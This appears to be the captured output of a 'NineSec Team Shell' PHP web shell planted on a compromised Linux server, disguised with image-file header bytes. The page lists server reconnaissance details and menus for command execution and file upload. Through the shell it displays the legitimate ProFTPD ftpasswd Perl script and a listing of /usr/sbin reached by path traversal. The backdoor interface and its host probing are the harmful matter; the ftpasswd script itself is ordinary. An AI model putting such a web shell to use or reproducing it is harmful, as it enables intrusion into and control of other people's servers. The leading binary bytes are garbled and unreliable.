�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.130
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/../lib/../usr/sbin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../lib/../usr/sbin/ftpasswd
#!/usr/bin/perl
# ---------------------------------------------------------------------------
# Copyright (C) 2000-2020 TJ Saunders <tj@castaglia.org>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Suite 500, Boston, MA 02110-1335, USA.
#
# Based on MacGuyver's genuser.pl script, this script generates password
# files suitable for use with proftpd's AuthUserFile directive, in passwd(5)
# format, or AuthGroupFile, in group(5) format.  The idea is somewhat similar
# to Apache's htpasswd program.
# ---------------------------------------------------------------------------

use strict;

use Fcntl qw(:flock);
use File::Basename qw(basename);
use Getopt::Long;

# turn off auto abbreviation
$Getopt::Long::auto_abbrev = 0;

my $program = basename($0);
my $default_passwd_file = "./ftpd.passwd";
my $default_group_file = "./ftpd.group";
my $shell_file = "/etc/shells";
#my $default_cracklib_dict = "/usr/lib/cracklib_dict";
my $default_cracklib_dict = "/var/cache/cracklib";
my $cracklib_dict;
my $output_file;
my $version = "1.3.0";

my @data;

my %opts = ();
GetOptions(\%opts,
  'change-password',
  'delete-group',
  'delete-user',
  'des',
  'enable-group-passwd',
  'file=s',
  'F|force',
  'gecos=s',
  'gid=n',
  'group',
  'hash',
  'h|help',
  'home=s',
  'l|lock',
  'md5',
  'm|member=s@',
  'name=s',
  'not-previous-password',
  'not-system-password',
  'passwd',
  'sha256',
  'sha512',
  'shell=s',
  'stdin',
  'uid=n',
  'u|unlock',
  'use-cracklib:s',
  'version',
);

usage() if (defined($opts{'h'}));

version() if (defined($opts{'version'}));

# Per Bug#4171, check if we are on a Linux system, AND it has the
# /proc/sys/crypto/fips_enabled file, AND that entry says that FIPS mode is
# enabled.  If these conditions are met, then neither DES or MD5 will work.
#
# If either --des or --md5 are specified, OR if no hash is specified, we
# need to check.
if ((defined($opts{'des'}) || defined($opts{'md5'})) ||
     !defined($opts{'des'}) && !defined($opts{'md5'}) &&
     !defined($opts{'sha256'}) && !defined($opts{'sha512'})) {
  if (open(my $fh, "< /proc/sys/crypto/fips_enabled")) {
    my $fips_enabled = <$fh>;
    close($fh);

    chomp($fips_enabled);
    if ($fips_enabled) {
      die "$program: FIPS mode enabled on your system (see /proc/sys/crypto/fips_enabled), thus --des and --md5 will not be supported.  Use --sha256 or --sha512.\n"
    }
  }
}

# check if "use-cracklib" was given as an option, and whether a path
# to other dictionary files was given.
if (defined($opts{'use-cracklib'})) {

  # make sure that Crypt::Cracklib is installed before trying to use
  # it later
  eval { require Crypt::Cracklib };
  die "$program: --use-cracklib requires Crypt::Cracklib to be installed\n" if $@;

  if ($opts{'use-cracklib'} ne "") {
    $cracklib_dict = $opts{'use-cracklib'};

  } else {
    $cracklib_dict = $default_cracklib_dict;
  }
}

# make sure that both passwd and group modes haven't been simultaneously
# requested

if ((exists($opts{'passwd'}) && exists($opts{'group'})) ||
    (exists($opts{'passwd'}) && exists($opts{'hash'})) ||
    (exists($opts{'group'}) && exists($opts{'hash'}))) {
  die "$program: please use *one*: --passwd, --group, or --hash\n";

} elsif (defined($opts{'passwd'})) {

  # determine to which file to write the passwd entry
  if (defined($opts{'file'})) {
    $output_file = $opts{'file'}; 
    print STDOUT "$program: using alternate file: $output_file\n"

  } else {
    $output_file = $default_passwd_file;
  } 

  # make sure that the required arguments are present
  die "$program: --passwd: missing required argument: --name\n"
    unless (defined($opts{'name'}));

  # check for and handle the --delete-user option.
  if (defined($opts{'delete-user'})) {
    open_output_file();

    my ($pass, $uid, $gid, $gecos, $home, $shell) = find_passwd_entry(name =>
      $opts{'name'});

    handle_passwd_entry(name => $opts{'name'}, uid => $uid, gid => $gid,
      gecos => $gecos, home => $home, shell => $shell,
      delete_user => $opts{'delete-user'});

    close_output_file();

    # done
    exit 0;
  }

  # check for and handle the --lock option.
  if (defined($opts{'l'})) {
    open_output_file();

    my ($pass, $uid, $gid, $gecos, $home, $shell) = find_passwd_entry(name =>
      $opts{'name'});

    my $new_passwd = $pass;

    # If this password is already "locked", leave it alone
    if ($new_passwd !~ /^!/) {
      $new_passwd = '!' . $new_passwd;
    }

    handle_passwd_entry(name => $opts{'name'}, uid => $uid, gid => $gid,
      gecos => $gecos, home => $home, shell => $shell,
      new_passwd => $new_passwd);

    close_output_file();

    # done
    exit 0;
  }

  # check for and handle the --unlock option.
  if (defined($opts{'u'})) {
    open_output_file();

    my ($pass, $uid, $gid, $gecos, $home, $shell) = find_passwd_entry(name =>
      $opts{'name'});

    my $new_passwd = $pass;
    $new_passwd =~ s/^!+//;

    handle_passwd_entry(name => $opts{'name'}, uid => $uid, gid => $gid,
      gecos => $gecos, home => $home, shell => $shell,
      new_passwd => $new_passwd);

    close_output_file();

    # done
    exit 0;
  }

  # now check for the --change-password option.  If present, lookup
  # the given name in the password file, and reuse all the information
  # except for the password
  if (defined($opts{'change-password'})) {
    open_output_file();

    my ($pass, $uid, $gid, $gecos, $home, $shell) = find_passwd_entry(name =>
      $opts{'name'});

    handle_passwd_entry(name => $opts{'name'}, uid => $uid, gid => $gid,
      gecos => $gecos, home => $home, shell => $shell);

    close_output_file();

    # done
    exit 0;
  }

  # check for the --not-system-password option.  If present, make sure that
  # a) the script is running with root privs, and b) perl on the system is
  # such that getpwnam() will return the system password
  if (defined($opts{'not-system-password'})) {
    die "$program: must be user root for system password check\n"
      unless ($> == 0);
  }

  die "$program: --passwd: missing required argument: --home\n"
    unless (defined($opts{'home'}));

  die "$program: --passwd: missing required argument: --shell\n"
    unless (defined($opts{'shell'}));

  die "$program: --passwd: missing required argument: --uid\n"
    unless (defined($opts{'uid'}));

  # As per Flying Hamster's suggestion, have $opts{'gid'} default to --uid
  # if none are specified on the command-line via --gid
  unless (defined($opts{'gid'})) {
    $opts{'gid'} = $opts{'uid'};
    warn "$program: --passwd: missing --gid argument: default gid set to uid\n";
  }

  open_output_file();

  handle_passwd_entry(name => $opts{'name'}, uid => $opts{'uid'},
    gid => $opts{'gid'}, gecos => $opts{'gecos'}, home => $opts{'home'},
    shell => $opts{'shell'}, delete_user => $opts{'delete-user'});

  close_output_file();

  # NOTE: if this process is not running as root, then the file generated
  # is not owned by root.  Issue a warning reminding the user to make the
  # generated file mode 0400, owned by root, before using it.

} elsif (defined($opts{'group'})) {

  # determine to which file to write the group entry
  if (defined($opts{'file'})) {
    $output_file = $opts{'file'};
    print STDOUT "$program: using alternate file: $output_file\n";

  } else {
    $output_file = $default_group_file;
  }

  # check for and handle the --delete-group option.
  if (defined($opts{'delete-group'})) {
    open_output_file();

    handle_group_entry(name => $opts{'name'},
      delete_group => $opts{'delete-group'});

    close_output_file();

    # done
    exit 0;
  }

  # make sure the required options are present
  die "$program: --group: missing required argument: --gid\n"
    unless (defined($opts{'gid'}));

  die "$program: --group: missing required argument: --name\n"
    unless (defined($opts{'name'}));

  open_output_file();

  handle_group_entry(gid => $opts{'gid'}, members => $opts{'m'},
    name => $opts{'name'}, delete_user => $opts{'delete-user'},
    delete_group => $opts{'delete-group'});

  close_output_file();

} elsif (defined($opts{'hash'})) {
  print STDOUT "$program: ", get_passwd(), "\n";

} else {
  die "$program: missing required --passwd or --group\n$program: use $program --help for details on usage\n\n";
}

# done
exit 0;

# ----------------------------------------------------------------------------
sub check_shell {
  my %args = @_;

  my $shell = $args{'shell'};
  my $result = 0;

  # check the given shell against the list in /etc/shells.  If not present
  # there, issue a message recognizing this, and suggesting that
  # RequireValidShell be set to off, and that any necessary PAM modules be
  # adjusted.

  unless (open(SHELLS, "< $shell_file")) {
    warn "$program: unable to open $shell_file: $!\n";
    warn "$program: skipping check of $shell_file\n";
    return;
  }

  while(my $line = <SHELLS>) {
    chomp($line);

    if ($line eq $shell) {
      $result = 1;
      last;
    } 
  }

  close(SHELLS);

  unless ($result) {
    print STDOUT "\n$program: $shell is not among the valid system shells.  Use of\n";
    print STDOUT "$program: \"RequireValidShell off\" may be required, and the PAM\n";
    print STDOUT "$program: module configuration may need to be adjusted.\n\n";
  }

  return $result;
}

# ----------------------------------------------------------------------------
sub close_output_file {
  my %args = @_;

  if (open(my $fh, "> $output_file")) {
    if (flock($fh, LOCK_EX|LOCK_NB)) {
      # flush the data to the file
      foreach my $line (@data) {
        print $fh "$line\n";
      }

      # set the permissions appropriately, ie 0440, before closing the file
      unless (chmod(0440, $output_file)) {
        flock($fh, LOCK_UN);
        die("$program: unable to set permissions on $output_file: $!");
      }

      flock($fh, LOCK_UN);

      unless (close($fh)) {
        die("$program: unable to close $output_file: $!\n");
      }

    } else {
      close($fh);
      die("$program: unable to write $output_file: Locked (in use) by another process\n");
    }

  } else {
    die("$program: unable to open $output_file: $!\n");
  }
}

# ----------------------------------------------------------------------------
sub find_passwd_entry {
  my %args = @_;

  my $name = $args{'name'};
  my ($pass, $uid, $gid, $gecos, $home, $shell);
  my $found = 0;

  # given a name, find the corresponding entry in the passwd file
  foreach my $line (@data) {
    next unless $line =~ /^$name:/;

    my @fields = split(':', $line);

    $pass = $fields[1];
    $uid = $fields[2];
    $gid = $fields[3];
    $gecos = $fields[4];
    $home = $fields[5];
    $shell = $fields[6];

    $found = 1;

    last;
  }

  unless ($found) {
    print STDOUT "$program: error: no such user $name in $output_file\n";

    # Restore the file permissions.
    unless (chmod(0440, $output_file)) {
      print STDERR "$program: unable to set permissions on $output_file: $!";
    }

    exit 1;
  }

  return ($pass, $uid, $gid, $gecos, $home, $shell);
}

# ----------------------------------------------------------------------------
sub get_salt {
  my $salt;

  # The determination of with encryption algorithm to use is done via
  # the salt.  The format and nature of the salt is how crypt(3) knows
  # how to do its thing.  By default, generate a salt that triggers MD5.

  if (defined($opts{'des'})) {
    # DES salt
    $salt = join '', ('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64];

  } elsif (defined($opts{'sha256'})) {
    # SHA-256 salt (16 characters)
    $salt = join '', (0..9, 'A'..'Z', 'a'..'z')
      [rand 62, rand 62, rand 62, rand 62,
       rand 62, rand 62, rand 62, rand 62,
       rand 62, rand 62, rand 62, rand 62,
       rand 62, rand 62, rand 62, rand 62];
    $salt = '$5$' . $salt;

  } elsif (defined($opts{'sha512'})) {
    # SHA-512 salt (16 characters)
    $salt = join '', (0..9, 'A'..'Z', 'a'..'z')
      [rand 62, rand 62, rand 62, rand 62,
       rand 62, rand 62, rand 62, rand 62,
       rand 62, rand 62, rand 62, rand 62,
       rand 62, rand 62, rand 62, rand 62];
    $salt = '$6$' . $salt;

  } else {
    # MD5 salt (16 characters)
    $salt = join '', (0..9, 'A'..'Z', 'a'..'z')
      [rand 62, rand 62, rand 62, rand 62,
       rand 62, rand 62, rand 62, rand 62,
       rand 62, rand 62, rand 62, rand 62,
       rand 62, rand 62, rand 62, rand 62];
    $salt = '$1$' . $salt;
  }

  return $salt;
}

# ----------------------------------------------------------------------------
sub get_passwd {
  my %args = @_;
  my $name = $args{'name'};
  my ($passwd, $passwd2);

  # If using a DES salt, print an informative message about the 8 character
  # limit of relevant password characters.

  if (defined($opts{'des'}) && !defined($opts{'stdin'})) {
    print STDOUT "\nPlease be aware that only the first 8 characters of a DES password are\nrelevant.  Use the --md5, --sha256, or --sha512 options as they do not have\nthis limitation.\n";
  }

  if (defined($opts{'stdin'})) {

    # simply read in the password from stdin, as from a script
    chomp($passwd = <STDIN>);

  } else {

    # Install a SIGINT handler, for cases where Ctrl-C may be used to abort
    # the prompt.
    $SIG{INT} = sub {
      # Restore the file permissions.
      unless (chmod(0440, $output_file)) {
        print STDERR "$program: unable to set permissions on $output_file: $!";
      }

      # Restore the terminal echo behavior, too.
      system "stty echo";

      exit 1;
    };

    # Prompt for the password to be used
    system "stty -echo";
    print STDOUT "\nPassword: ";

    # Open the tty for reading (is this portable?)
    open(TTY, "/dev/tty") or die "$program: unable to open /dev/tty: $!\n";
    chomp($passwd = <TTY>);
    print STDOUT "\n";
    system "stty echo";

    # Prompt again, to make sure the user typed in the password correctly
    system "stty -echo";
    print STDOUT "Re-type password: ";
    chomp($passwd2 = <TTY>);
    print STDOUT "\n\n";
    system "stty echo";
    close(TTY);

    # Restore default SIGINT handling
    $SIG{INT} = 'DEFAULT';

    if ($passwd2 ne $passwd) {
      print STDOUT "Passwords do not match.  Please try again.\n";
      return get_passwd(name => $name);
    }
  }

  if (defined($name) && defined($opts{'change-password'})) {

    # retrieve the user's current password from the file and compare
    my ($curpasswd, @junk) = find_passwd_entry(name => $name);

    my $hash = crypt($passwd, $curpasswd);

    if ($hash eq $curpasswd) {
      if (defined($opts{'stdin'})) {
        # cannot prompt again if automated.  Simply print an error message
        # and exit.
        print STDOUT "$program: error: password matches current password\n";

        # Restore the file permissions.
        unless (chmod(0440, $output_file)) {
          print STDERR "$program: unable to set permissions on $output_file: $!";
        }

        exit 2;

      } else {
        print STDOUT "Please use a password that is different from your current password.\n";
        return get_passwd(name => $name);
      }
    }
  }

  if (defined($name) && defined($opts{'not-previous-password'})) {
    # retrieve the user's current passwd and compare
    my ($currpasswd) = find_passwd_entry(name => $name);

    my $hash = crypt($passwd, $currpasswd);

    if (($hash && $currpasswd) && $hash eq $currpasswd) {
      if (defined($opts{'stdin'})) {

        # cannot prompt again if automated.  Simply print an error message
        # and exit.
        print STDOUT "$program: error: password matches previous password\n";

        # Restore the file permissions.
        unless (chmod(0440, $output_file)) {
          print STDERR "$program: unable to set permissions on $output_file: $!";
        }

        exit 4;

      } else {
        print STDOUT "Please use a password that is different from your previous password.\n";
        return get_passwd(name => $name);
      }
    }
  }

  if (defined($name) && defined($opts{'not-system-password'})) {
    # retrieve the user's system passwd (from /etc/shadow) and compare
    my $syspasswd = get_syspasswd(user => $name);

    my $hash = crypt($passwd, $syspasswd);

    if (($hash && $syspasswd) && $hash eq $syspasswd) {
      if (defined($opts{'stdin'})) {
        # Cannot prompt again if automated.  Simply print an error message
        # and exit.
        print STDOUT "$program: error: password matches system password\n";

        # Restore the file permissions.
        unless (chmod(0440, $output_file)) {
          print STDERR "$program: unable to set permissions on $output_file: $!";
        }

        exit 4;

      } else {
        print STDOUT "Please use a password that is different from your system password.\n";
        return get_passwd(name => $name);
      }
    }
  }

  return "" if ($args{'allow_blank'} and $passwd eq "");

  # check for BAD passwords, BLANK passwords, etc, if requested
  if (defined($opts{'use-cracklib'})) {
    require Crypt::Cracklib;
    if (!Crypt::Cracklib::check($passwd, $cracklib_dict)) {
      print STDOUT "Bad password: ", Crypt::Cracklib::fascist_check($passwd,
        $cracklib_dict), "\n";
      return get_passwd(name => $name);
    }
  }

  my $salt = get_salt();

  my $hash = crypt($passwd, $salt);

  # Check that the crypt() implementation properly supports use of the MD5
  # (or other non-DES algorithm), if specified.
  if (!defined($opts{'des'})) {
    if (defined($opts{'md5'})) {
      # if the first three characters of the hash are not "$1$", the crypt()
      # implementation doesn't support MD5.  Some crypt()s will happily use
      # "$1" as a salt even though this is not a valid DES salt.  Humf.
      #
      # Perl doesn't treat strings as arrays of characters, so extracting the
      # first three characters is a little more convoluted (I'm accustomed to
      # C's strncmp(3) for this now).

      my @string = split('', $hash);
      my $prefix = $string[0] . $string[1] . $string[2];

      if ($prefix ne '$1$') { 
        print STDOUT "You requested MD5 passwords but your system does not support it.  Defaulting to DES passwords.\n\n";
      }

    } elsif (defined($opts{'sha256'})) {
      # if the first three characters of the hash are not "$5$", the crypt()
      # implementation doesn't support SHA-256.  Some crypt()s will happily use
      # "$5" as a salt even though this is not a valid DES salt.  Humf.
      #
      # Perl doesn't treat strings as arrays of characters, so extracting the
      # first three characters is a little more convoluted (I'm accustomed to
      # C's strncmp(3) for this now).

      my @string = split('', $hash);
      my $prefix = $string[0] . $string[1] . $string[2];

      if ($prefix ne '$5$') {
        print STDOUT "You requested SHA-256 passwords but your system does not support it.  Defaulting to DES passwords.\n\n";
      }

    } elsif (defined($opts{'sha512'})) {
      # if the first three characters of the hash are not "$6$", the crypt()
      # implementation doesn't support SHA-512.  Some crypt()s will happily use
      # "$6" as a salt even though this is not a valid DES salt.  Humf.
      #
      # Perl doesn't treat strings as arrays of characters, so extracting the
      # first three characters is a little more convoluted (I'm accustomed to
      # C's strncmp(3) for this now).

      my @string = split('', $hash);
      my $prefix = $string[0] . $string[1] . $string[2];

      if ($prefix ne '$6$') {
        print STDOUT "You requested SHA-512 passwords but your system does not support it.  Defaulting to DES passwords.\n\n";
      }
    }
  }

  return $hash;
}

# ----------------------------------------------------------------------------
sub get_syspasswd {
  my %args = @_;

  my $user = $args{'user'};

  # test the shadow password support on this system.  Some systems, such
  # as the BSDs, use "transparent shadowing", where the real passwd will
  # be returned via getpwnam() only if the process has root privs (effective
  # UID of zero).  That check has already been performed.  However, other
  # systems still may not return the password via getpwnam() (such as Linux).
  # These other systems use a shadow password library of functions, and require
  # other work to retrieve the password.  On these systems, the retrieved
  # password will be "x".

  my $syspasswd = (getpwnam($user))[1];

  if ($syspasswd eq "" || $syspasswd eq "x")  {

    # do the retrieval the hard way: open up /etc/shadow and iterate
    # through each line.  Yuck.  *sigh*.  Thanks to Micah Anderson
    # for working out this issue.

    open(SHADOW, "< /etc/shadow") or
      die "$program: unable to access shadow file: $!\n";

    while (chomp(my $line = <SHADOW>)) {
      next unless $line =~ /^$user/;
      $syspasswd = (split(':', $line))[1];
      last; 
    }
    close(SHADOW);

    # if the password is still "x", you have problems 
    if ($syspasswd eq "x") {
      die "$program: unable to retrieve shadow password.\nContact your system
administrator.\n";
    }
  } 

  return $syspasswd;
}

# ----------------------------------------------------------------------------
sub handle_group_entry {
  my %args = @_;

  my $gid = $args{'gid'};
  my $name = $args{'name'};
  my $delete_group = $args{'delete_group'};
  my $delete_user = $args{'delete_user'};
  my $passwd;

  my $members = "";
  $members = join(',', @{$args{'members'}}) if (defined($args{'members'}));

  # check to see whether we should update the fields for this group (because
  # it already exists), or to create a new entry

  my $found = 0;
  my $index = 0;
  for ($index = 0; $index <= $#data; $index++) {
    my @entry = split(':', $data[$index]);

    if ($name eq $entry[0]) {
      $found = 1;
      last;
    }
  }

  unless ($found) {
    print STDOUT "$program: creating group entry for group $name\n";

  } else {
    print STDOUT "$program: updating group entry for group $name\n";
  }

  # if present, add the members given to the group.  If none, just leave that
  # field blank

  # prompt for the group password, if requested
  if (defined($opts{'enable-group-passwd'})) {
    $passwd = get_passwd(name => $name, allow_blank => 1);

  } else {
    $passwd = "x";
  }

  # remove the entry to be updated
  splice(@data, $index, 1);

  if ($delete_group) {
    print STDOUT "$program: entry deleted\n";
    return;
  }

  # format: $name:$passwd:$gid:$members
  push(@data, "$name:$passwd:$gid:$members");

  # always sort by GIDs before printing out the file
  @data = map { $_->[0] }
          sort {
                $a->[3] <=> $b->[3]
               }
          map { [ $_, (split /:/)[0, 1, 2, 3] ] }
          @data;

  if ($delete_group) {
    print STDOUT "$program: entry deleted\n";

  } elsif ($found) {
    print STDOUT "$program: entry updated\n";

  } else {
    print STDOUT "$program: entry created\n";
  }
}

# ----------------------------------------------------------------------------
sub handle_passwd_entry {
  my %args = @_;

  my $name = $args{'name'};
  my $uid = $args{'uid'};
  my $gid = $args{'gid'};
  my $gecos = $args{'gecos'};
  my $home = $args{'home'};
  my $shell = $args{'shell'};
  my $delete_user = $args{'delete_user'};
  my $new_passwd = $args{'new_passwd'};

  # Trim any trailing slashes in $home.
  $home =~ s/(.*)\/$/$1/ if ($home =~ /\/$/);

  # Make sure the given home directory is NOT a relative path (what a
  # horrible idea).
 
  unless ($home =~ /^\//) {
    print STDOUT "$program: error: relative path given for home directory\n";
    exit 8;
  }
  
  # check to see whether we should update the fields for this user (because
  # they already exist), or create a new entry

  my $found = 0;
  my $index = 0;
  for ($index = 0; $index <= $#data; $index++) {
    my @entry = split(':', $data[$index]);

    if ($name eq $entry[0]) {
      $found = 1;
      last;
    }
  }

  unless ($found) {
    print STDOUT "$program: creating passwd entry for user $name\n";

  } else {
    print STDOUT "$program: updating passwd entry for user $name\n";
  }

  my $passwd;

  if (!$delete_user) {
    if (!$new_passwd) {
      # check the requested shell against the list in /etc/shells
      check_shell(shell => $shell);

      # prompt the user for the password
      $passwd = get_passwd(name => $name);

    } else {
      $passwd = $new_passwd;
    }
  }

  # remove the entry to be updated
  splice(@data, $index, 1);

  if ($delete_user) {
    print STDOUT "$program: entry deleted\n";
    return;
  }

  # format: $name:$passwd:$uid:$gid:$gecos:$home:$shell
  push(@data, "$name:$passwd:$uid:$gid:$gecos:$home:$shell");

  # always sort by UIDs before printing out the file
  @data = map { $_->[0] }
          sort {
                $a->[3] <=> $b->[3]
               }
          map { [ $_, (split /:/)[0, 1, 2, 3, 4, 5, 6] ] }
          @data;

  if ($delete_user) {
    print STDOUT "$program: entry deleted\n";

  } elsif ($found) {
    print STDOUT "$program: entry updated\n";

  } else {
    print STDOUT "$program: entry created\n";
  }
}

# ----------------------------------------------------------------------------
sub open_output_file {
  my %args = @_;

  # open $output_file, paying attention to the --force command-line option
  # If the file already exists, slurp up its contents for later updating.

  if (-f $output_file) {
    # make sure we can write/update the file first
    unless (chmod(0644, $output_file)) {
      die "$program: unable to set permissions on $output_file to 0644: $!\n";
    }

    if (open(my $fh, "< $output_file")) {
      if (flock($fh, LOCK_SH|LOCK_NB)) {
        chomp(@data = <$fh>);
        flock($fh, LOCK_UN);
        close($fh);

      } else {
        close($fh);
        die("$program: unable to read $output_file: Locked (in use) by another process\n");
      }


    } else {
      die("$program: unable to open $output_file: $!\n");
    }
  }

  # if the --force option was given, just zero out any data that might have
  # been read in, effectively erasing whatever contents there were.  A new
  # file is generated, anyway -- it's just a question of what data goes into
  # it

  @data = () if (defined($opts{'F'}));
}

# ----------------------------------------------------------------------------
sub usage {

	print STDOUT <<END_OF_USAGE;

usage: $program [--help] [--hash|--group|--passwd]

  REQUIRED: --passwd, --group, or --hash.  These specify whether $program is to
  operate on a passwd(5) format file, on a group(5) format file, or simply
  to generate a password hash, respectively.

  If used with --passwd, $program creates a file in the passwd(5) format,
  suitable for use with proftpd's AuthUserFile configuration directive.
  You will be prompted for the password to use of the user, which will be
  encrypted, and written out as the encrypted string.  New entries are
  appended to the file by default.
 
  By default, using --passwd will write output to "$default_passwd_file".

  Error exit values:

  To make it easier for wrapper scripts to interact with $program, $program
  will exit with the following error values for the reasons described:

    1       no such user
    2       password matches current password
    4       password matches system password
    8       relative path given for home directory

  Options:

    --file      Write output to specified file, rather than "$default_passwd_file".

    -F          If the file to be used already exists, delete it and write a
    --force     new one.  By default, new entries will be appended to the file.

    --gecos     Descriptive string for the given user (usually the user's
                full name).

    --gid       Primary group ID for this user (optional, will default to
                given --uid value if absent).

    -h          Displays this message.
    --help

    --home      Home directory for the user (required).

    --des       Use the DES algorithm for encrypting passwords.  The default
                is the MD5 algorithm.

    --md5       Use the MD5 algorithm for encrypting passwords.  This is the
                default.

    --name      Name of the user account (required).  If the name does not
                exist in the specified output-file, an entry will be created
                for her.  Otherwise, the given fields will be updated.

    --shell     Shell for the user (required).  Recommended: /bin/false

    --uid       Numerical user ID (required)

    --change-password

                Update only the password field for a user.  This option
                requires that the --name and --passwd options be used, but
                no others.  This also double-checks the given password against
                the user's current password in the existing passwd file, and
                requests that a new password be given if the entered password
                is the same as the current password.

    --delete-user
 
                Remove the entry for the given user name from the file.

    -l          Lock the password of the named account.  This option disables a
    --lock      password by changing it to a value which matches no possible
                encrypted value (it adds a '!' at the beginning of the
                password).

    --not-previous-password

                Double-checks the given password against the previous password
                for the user, and requests that a new password be given if
                the entered password is the same as the previous password.

    --not-system-password

                Double-checks the given password against the system password
                for the user, and requests that a new password be given if
                the entered password is the same as the system password.  This
                helps to enforce different passwords for different types of
                access.

    --sha256    Use the SHA-256 algorithm for encrypting passwords.

    --sha512    Use the SHA-512 algorithm for encrypting passwords.

    --stdin
                Read the password directly from standard in rather than
                prompting for it.  This is useful for writing scripts that
                automate use of $program.

    -u          Unlock the password of the named account.  This option
    --unlock    re-enables a password by changing the password back to its
                previous value (to the value before using the -l option).

    --use-cracklib

                Causes $program to use Alec Muffet's cracklib routines in
                order to determine and prevent the use of bad or weak
                passwords.  The optional path to this option specifies
                the path to the dictionary files to use -- default path
                is "$default_cracklib_dict".  This requires the Perl
                Crypt::Cracklib module to be installed on your system.

    --version
                Displays the version of $program.

  If used with --group, $program creates a file in the group(5) format,
  suitable for use with proftpd's AuthGroupFile configuration directive.

  By default, using --group will write output to "$default_group_file".

  Options:

    --delete-group

                Remove the entry for the given group name from the file.

    --enable-group-passwd

                Prompt for a group password.  This is disabled by default,
                as group passwords are not usually a good idea at all.

    --file      Write output to specified file, rather than "$default_group_file".

    -F          If the file be used already exists, delete it and write a new
    --force     one.  By default, new entries will be appended to the file.

    --gid       Numerical group ID (required).

    -h
    --help      Displays this message.

    -m
    --member    User name to be a member of the group.  This argument may be
                used multiple times to specify the full list of users to be
                members of this group.

    --des       Use the DES algorithm for encrypting passwords.  The default
                is the MD5 algorithm.

    --md5       Use the MD5 algorithm for encrypting passwords.  This is the
                default.

    --name      Name of the group (required).  If the name does not exist in
                the specified output-file, an entry will be created for them.
                Otherwise, the given fields will be updated.

    --sha256    Use the SHA-256 algorithm for encrypting passwords.

    --sha512    Use the SHA-512 algorithm for encrypting passwords.

    --stdin
                Read the password directly from standard in rather than
                prompting for it.  This is useful for writing scripts that
                automate use of $program.

    --use-cracklib

                Causes $program to use Alec Muffet's cracklib routines in
                order to determine and prevent the use of bad or weak
                passwords.  The optional path to this option specifies
                the path to the dictionary files to use -- default path
                is "$default_cracklib_dict".  This requires the Perl
                Crypt::Cracklib module to be installed on your system.

    --version
                Displays the version of $program.

  If used with --hash, $program generates a hash of a password, as would
  appear in an AuthUserFile.  The hash is written to standard out.
  This hash is suitable for use with proftpd's UserPassword directive.

  Options:

    --des       Use the DES algorithm for encrypting passwords.  The default
                is the MD5 algorithm.

    --md5       Use the MD5 algorithm for encrypting passwords.  This is the
                default.

    --sha256    Use the SHA-256 algorithm for encrypting passwords.

    --sha512    Use the SHA-512 algorithm for encrypting passwords.

    --stdin
                Read the password directly from standard in rather than
                prompting for it.  This is useful for writing scripts that
                automate use of $program.

    --use-cracklib

                Causes $program to use Alec Muffet's cracklib routines in
                order to determine and prevent the use of bad or weak
                passwords.  The optional path to this option specifies
                the path to the dictionary files to use -- default path
                is "$default_cracklib_dict".  This requires the Perl
                Crypt::Cracklib module to be installed on your system.

    --version
                Displays the version of $program.

END_OF_USAGE

  exit 0;
}

# ---------------------------------------------------------------------------
sub version {
  print STDOUT "$version\n";

  exit 0;
}

# ---------------------------------------------------------------------------


NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
March 29 2022 11:10:06
root
0755
a2disconf
15.895 KB
February 23 2021 5:35:16
root
0755
a2dismod
15.895 KB
February 23 2021 5:35:16
root
0755
a2dissite
15.895 KB
February 23 2021 5:35:16
root
0755
a2enconf
15.895 KB
February 23 2021 5:35:16
root
0755
a2enmod
15.895 KB
February 23 2021 5:35:16
root
0755
a2ensite
15.895 KB
February 23 2021 5:35:16
root
0755
a2query
9.639 KB
October 26 2023 3:54:09
root
0755
accessdb
14.383 KB
February 25 2020 6:13:45
root
0755
add-shell
0.84 KB
December 07 2019 3:13:44
root
0755
addgnupghome
3.003 KB
July 04 2022 6:20:36
root
0755
addgroup
36.899 KB
April 16 2020 4:12:53
root
0755
adduser
36.899 KB
April 16 2020 4:12:53
root
0755
apache2
692.039 KB
October 26 2023 3:54:09
root
0755
apache2ctl
7.06 KB
March 04 2022 11:48:50
root
0755
apachectl
7.06 KB
March 04 2022 11:48:50
root
0755
applygnupgdefaults
2.165 KB
July 04 2022 6:20:36
root
0755
arp
69.297 KB
February 01 2019 7:07:53
root
0755
arpd
78.266 KB
February 13 2020 6:21:59
root
0755
arptables
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-nft
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-nft-restore
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-nft-save
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-restore
215.32 KB
May 09 2023 8:39:57
root
0755
arptables-save
215.32 KB
May 09 2023 8:39:57
root
0755
aspell-autobuildhash
13.225 KB
November 15 2018 4:24:46
root
0755
atopacctd
26.047 KB
January 25 2019 5:41:25
